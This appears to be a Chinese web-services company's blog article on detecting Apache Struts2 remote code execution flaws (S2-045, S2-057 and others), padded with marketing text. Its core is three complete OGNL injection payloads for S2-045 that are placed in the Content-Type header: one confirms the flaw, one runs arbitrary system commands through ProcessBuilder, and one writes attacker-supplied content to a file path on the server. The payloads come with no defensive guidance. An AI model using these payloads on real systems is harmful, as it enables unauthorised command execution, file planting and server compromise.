重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
今天小编给大家分享一下Struts2漏洞怎么利用工具检查的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。
创新互联建站专注为客户提供全方位的互联网综合服务,包含不限于网站设计制作、成都做网站、保靖网络推广、小程序制作、保靖网络营销、保靖企业策划、保靖品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等,从售前售中售后,我们都将竭诚为您服务,您的肯定,是我们最大的嘉奖;创新互联建站为所有大学生创业者提供保靖建站搭建服务,24小时服务热线:028-86922220,官方网址:www.cdcxhl.com
Struts2是一个基于MVC设计模式的Web应用框架,但2存在远程代码执行的漏洞,动力节点小编认为,检测出漏洞就要进行Struts2漏洞修复,现在Struts2漏洞检测工具2017版增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。
当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2-032 CVE-2016-3081 、S2-020 CVE-2014-0094 、S2-019 CVE-2013-4316等漏洞检测!
Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Semmle Security Research team的安全研究员Man YueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行!
S2-045:
1.验证漏洞,修改Content-Type,返回内容为“webpath”代表存在漏洞。
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()). (#res=@org.apache.struts2.ServletActionContext@getResponse()). (#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')). (#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}
2.执行命令
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()). (#res=@org.apache.struts2.ServletActionContext@getResponse()). (#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')). (#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()). (#res.getWriter().close()).(#s.close())}
3.上传文件:
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()). (#res=@org.apache.struts2.ServletActionContext@getResponse()). (#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')). (#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()). (#res.getWriter().close())}
以上就是“Struts2漏洞怎么利用工具检查”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,小编每天都会为大家更新不同的知识,如果还想学习更多的知识,请关注创新互联行业资讯频道。